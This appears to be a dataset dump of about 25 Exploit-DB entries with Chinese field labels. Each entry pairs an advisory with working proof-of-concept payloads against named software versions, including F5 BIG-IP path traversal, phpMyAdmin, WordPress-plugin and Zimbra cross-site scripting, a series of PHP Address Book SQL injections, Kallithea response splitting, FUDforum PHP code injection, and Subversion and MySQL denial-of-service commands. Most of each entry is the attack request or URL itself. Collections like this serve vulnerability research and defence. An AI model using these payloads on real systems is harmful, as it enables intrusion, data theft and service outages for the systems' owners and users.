QLWD/code_shield huggingface dataset:
标题: F5 Big-IP 10.2.4 Build 595.0 Hotfix HF3 - Directory Traversal EDB-ID: 38448 CVE: 2015-4040 类型: WEBAPPS 平台: HARDWARE 发布日期: 2015-10-13 漏洞利用脚本: # Exploit Title: [F5 BigIP File Path Traversal Vulnerability]
# Discovered by: Karn Ganeshen
# Reported on: April 27, 2015
# New version released on: September 01, 2015
# Vendor Homepage: [www.f5.com]
# Version Reported: [F5 BIG-IP 10.2.4 Build 595.0 Hotfix HF3]
# CVE-2015-4040 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4040
]
# Multiple Additional F5 products & versions are Affected and documented
here:
https://support.f5.com/kb/en-us/solutions/public/17000/200/sol17253.html


*Vulnerability Details*
The handler parameter is vulnerable to file path manipulation attacks. When
we submit a payload
*/tmui/locallb/virtual_server/../../../../WEB-INF/web.xml* in the *handler*
parameter, the file *WEB-INF/web.xml* is returned.

*PoC:*

POST /tmui/Control/form HTTP/1.1
Host: <IP>
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: https://
<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp?&FilterBy=status_availability&Filter=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1004
Cookie: JSESSIONID=3211A73547444840255BAF39984E7E3F;
BIGIPAuthUsernameCookie=admin;
BIGIPAuthCookie=9B1099DD8A936DDBD58606DA3B5BABC7E82C43A5;
F5_CURRENT_PARTITION=Common;
f5formpage="/tmui/locallb/virtual_server/list.jsp?&";
f5_refreshpage="https%3A//<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp";
f5currenttab="main"; f5mainmenuopenlist=""; f5advanceddisplay=""

_timenow=Fri+Apr+24+14%3a48%3a38+EST+2015&_bufvalue_before=6hU2%2fMbRfPe7OHQ7VVc7TEffOpg%3d&exit_page=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&search_input=*&search_button_before=Search&_timeno
*...[SNIP]...*
fore=&enableObjList_before=&exit_page_before=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&row_count=0&_bufvalue_validation=NO_VALIDATION&disable_before=Disable&exit_button_before=Create...&handler=
*%2ftmui%2flocallb%2fvirtual_server%2f..%2f..%2f..%2f..%2fWEB-INF%2fweb.xml*


*Web.xml is returned in the Response:*

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
"http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">



*<!--Automatically created by Tomcat JspC.--><web-app>*
*...[config file output redacted here]...*

*.....* URL: https://www.exploit-db.com/exploits/38448
标题: phpMyAdmin - 'tbl_gis_visualization.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 38440 CVE: 2013-1937 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/58962/info

phpMyAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpMyAdmin 3.5.0 through versions 3.5.7 are vulnerable. 

http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[width]="><script>alert(123);</script>

http://www.example.com/PMA/tbl_gis_visualization.php?db=information_schema&token=17961b7ab247b6d2b39d730bf336cebb&visualizationSettings[height]="><script>alert(123);</script> URL: https://www.exploit-db.com/exploits/38440
标题: PHP Address Book - '/addressbook/register/checklogin.php?Username' SQL Injection EDB-ID: 38434 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
         
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
         
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
         
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/checklogin.php?username={insert}&password=pass URL: https://www.exploit-db.com/exploits/38434
标题: PHP Address Book - '/addressbook/register/user_add_save.php?email' SQL Injection EDB-ID: 38433 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
        
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
        
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/user_add_save.php POST var email URL: https://www.exploit-db.com/exploits/38433
标题: PHP Address Book - '/addressbook/register/reset_password.php' Multiple SQL Injections EDB-ID: 38429 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
    
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/reset_password.php?email={insert}&password={insert} URL: https://www.exploit-db.com/exploits/38429
标题: WordPress Plugin Spiffy XSPF Player - 'playlist_id' SQL Injection EDB-ID: 38441 CVE: 2013-3530 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/58976/info

Spiffy XSPF Player plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Spiffy XSPF Player 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/spiffy/playlist.php?playlist_id=[SQL] URL: https://www.exploit-db.com/exploits/38441
标题: PHP Address Book - '/addressbook/register/linktick.php?site' SQL Injection EDB-ID: 38428 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
   
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/linktick.php?site={insert} URL: https://www.exploit-db.com/exploits/38428
标题: PHP Address Book - '/addressbook/register/router.php?BasicLogin' Cookie SQL Injection EDB-ID: 38431 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
      
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
      
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/router.php COOKIE var BasicLogin URL: https://www.exploit-db.com/exploits/38431
标题: PHP Address Book - '/addressbook/register/traffic.php?var' SQL Injection EDB-ID: 38432 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
       
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
       
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/traffic.php?var={insert} URL: https://www.exploit-db.com/exploits/38432
标题: WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting EDB-ID: 38439 CVE: 2013-3526 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/58948/info

The Traffic Analyzer plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=[Xss] URL: https://www.exploit-db.com/exploits/38439
标题: PHP Address Book - '/addressbook/register/reset_password_save.php' Multiple SQL Injections EDB-ID: 38430 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
     
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/reset_password_save.php?username={insert}&password=&password_confirm=&password_hint={insert}&email={insert} URL: https://www.exploit-db.com/exploits/38430
标题: Zimbra - 'aspell.php' Cross-Site Scripting EDB-ID: 38436 CVE: 2013-1938 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58913/info

Zimbra is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/aspell.php?disctionnary=&gt;<script>alert('foo');</script> URL: https://www.exploit-db.com/exploits/38436
标题: PHP Address Book - '/addressbook/register/admin_index.php?q' SQL Injection EDB-ID: 38435 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
          
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
          
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
          
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/admin_index.php?q={insert} URL: https://www.exploit-db.com/exploits/38435
标题: PHP Address Book - '/addressbook/register/edit_user_save.php' Multiple SQL Injections EDB-ID: 38427 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
  
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/edit_user_save.php?id={insert}&lastname={insert}&firstname={insert}&phone={insert}&email={insert}&permissions={insert}&notes={insert} URL: https://www.exploit-db.com/exploits/38427
标题: PHP Address Book - '/addressbook/register/delete_user.php?id' SQL Injection EDB-ID: 38425 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info

PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/delete_user.php?id={insert} URL: https://www.exploit-db.com/exploits/38425
标题: PHP Address Book - '/addressbook/register/edit_user.php?id' SQL Injection EDB-ID: 38426 CVE: 2013-0135 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58911/info
 
PHP Address Book is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/addressbook/register/edit_user.php?id={insert} URL: https://www.exploit-db.com/exploits/38426
标题: Google Chrome - Cookie Verification Denial of Service EDB-ID: 38420 CVE: 2013-6166 类型: DOS 平台: MULTIPLE 发布日期: 2013-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/58857/info

Google Chrome is prone to a denial-of-service vulnerability because it fails to verify the user supplied input.

Successfully exploiting this issue will allow an attacker to inject special characters into the browser's local cookie storage, resulting in the requested website always responding with an error message which is hosted on specific web server software (like lighttpd). This will cause a denial-of-service condition.

Chromium 25.0.1364.160 is vulnerable; other versions may also be affected.

Note: The content related to Mozilla Firefox Browser has been moved to BID 62969 (Mozilla Firefox Browser Cookie Verification Denial of Service Vulnerability) for better documentation. 

http://www.example.com/?utm_source=test&utm_medium=test&utm_campaign=te%05st URL: https://www.exploit-db.com/exploits/38420
标题: Kallithea 0.2.9 - 'came_from' HTTP Response Splitting EDB-ID: 38424 CVE: 2015-5285 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2015-10-08 漏洞利用脚本: Kallithea 0.2.9 (came_from) HTTP Response Splitting Vulnerability


Vendor: Kallithea
Product web page: https://www.kallithea-scm.org
Version affected: 0.2.9 and 0.2.2

Summary: Kallithea, a member project of Software Freedom Conservancy,
is a GPLv3'd, Free Software source code management system that supports
two leading version control systems, Mercurial and Git, and has a web
interface that is easy to use for users and admins.

Desc: Kallithea suffers from a HTTP header injection (response splitting)
vulnerability because it fails to properly sanitize user input before
using it as an HTTP header value via the GET 'came_from' parameter in
the login instance. This type of attack not only allows a malicious
user to control the remaining headers and body of the response the
application intends to send, but also allow them to create additional
responses entirely under their control.

Tested on: Kali
           Python


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5267
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5267.php
Vendor: https://kallithea-scm.org/news/release-0.3.html
Vendor Advisory: https://kallithea-scm.org/security/cve-2015-5285.html
CVE ID: 2015-5285
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5285


21.09.2015

--


GET /_admin/login?came_from=d47b5%0d%0aX-Forwarded-Host%3a%20http://zeroscience.mk%01%02%0d%0aLocation%3a%20http://zeroscience.mk HTTP/1.1
Host: 192.168.0.28:8080
Content-Length: 0
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.0.28:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.0.28:8080/_admin/login?came_from=%2F
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: kallithea=3090b35b3e37ba350d71b62c240c50bf87932f0d7e6b1a600cba4e0e890b7e29e253b438

###

HTTP/1.1 302 Found
Cache-Control: no-cache
Content-Length: 411
Content-Type: text/html; charset=UTF-8
Date: Mon, 21 Sep 2015 13:58:05 GMT
Location: http://192.168.0.28:8080/_admin/d47b5
X-Forwarded-Host: http://zeroscience.mk
Location: http://zeroscience.mk
Pragma: no-cache
Server: waitress

<html>
 <head>
  <title>302 Found</title>
 </head>
 <body>
  <h1>302 Found</h1>
  The resource was found at <a href="http://192.168.0.28:8080/_admin/d47b5
X-Forwarded-Host: http://zeroscience.mk
Location: http://zeroscience.mk">http://192.168.0.28:8080/_admin/d47b5
X-Forwarded-Host: http://zeroscience.mk
Location: http://zeroscience.mk</a>;
you should be redirected automatically.


 </body>
</html> URL: https://www.exploit-db.com/exploits/38424
标题: Apache Subversion 1.6.x - 'mod_dav_svn/lock.c' Remote Denial of Service EDB-ID: 38421 CVE: 2013-1847 类型: DOS 平台: LINUX 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58897/info

Apache Subversion is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions.

Apache Subversion versions 1.6.0 through 1.6.20 and 1.7.0 through 1.7.8 are vulnerable. 

curl -X LOCK --data-binary @lock_body 'http://www.example.com/repo/foo' URL: https://www.exploit-db.com/exploits/38421
标题: e107 - 'content_preset.php' Cross-Site Scripting EDB-ID: 38416 CVE: 2013-2750 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/58841/info

e107 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

e107 1.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/e107_plugins/content/handlers/content_preset.php? %3c%00script%0d%0a>alert('reflexted%20XSS')</script> URL: https://www.exploit-db.com/exploits/38416
标题: Symphony - 'sort' SQL Injection EDB-ID: 38417 CVE: 2013-2559 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/58843/info

Symphony is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony 2.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20 URL: https://www.exploit-db.com/exploits/38417
标题: Apache Subversion - Remote Denial of Service EDB-ID: 38422 CVE: 2013-1884 类型: DOS 平台: LINUX 发布日期: 2013-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/58898/info

Apache Subversion is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions.

Apache Subversion versions 1.7.0 through 1.7.8 are vulnerable. 

curl -X REPORT --data-binary @log_report 'http://www.example.com/repo/!svn/bc/1/' URL: https://www.exploit-db.com/exploits/38422
标题: C2 WebResource - 'File' Cross-Site Scripting EDB-ID: 38415 CVE: 2013-0125 类型: WEBAPPS 平台: ASP 发布日期: 2013-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/58838/info

C2 WebResource is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/fileview.asp?File=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/38415
标题: FUDforum - Multiple Remote PHP Code Injection Vulnerabilities EDB-ID: 38418 CVE: 2013-2267 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/58845/info

FUDforum is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary PHP code because the application fails to adequately sanitize user-supplied input.

Attackers may exploit these issues to execute arbitrary PHP code within the context of the affected application. Successful attacks can compromise the affected application and possibly the underlying computer.

FUDforum 3.0.4 is vulnerable; other versions may also be affected. 

POST /adm/admreplace.php HTTP/1.1
Host: fudforum
Referer: http://www.example.com/fudforum/adm/admreplace.php?&SQ=8928823a5edf50cc642792c2fa4d8863
Cookie: fud_session_1361275607=11703687e05757acb08bb3891f5b2f8d
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add&btn_regex=1&edit=&regex_ str=(.*)&regex_str_opt=e&regex_with=phpinfo() URL: https://www.exploit-db.com/exploits/38418
标题: MySQL / MariaDB - Geometry Query Denial of Service EDB-ID: 38392 CVE: 2013-1861 类型: DOS 平台: LINUX 发布日期: 2013-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/58511/info

MySQL and MariaDB are prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the database, denying access to legitimate users. 

"select astext(0x0100000000030000000100000000000010);" URL: https://www.exploit-db.com/exploits/38392
标题: WordPress Plugin podPress - 'playerID' Cross-Site Scripting EDB-ID: 38376 CVE: 2013-2714 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/58421/info

The podPress plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

podPress 8.8.10.13 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf?playerID=\"))}catch(e){alert(/xss/)}// URL: https://www.exploit-db.com/exploits/38376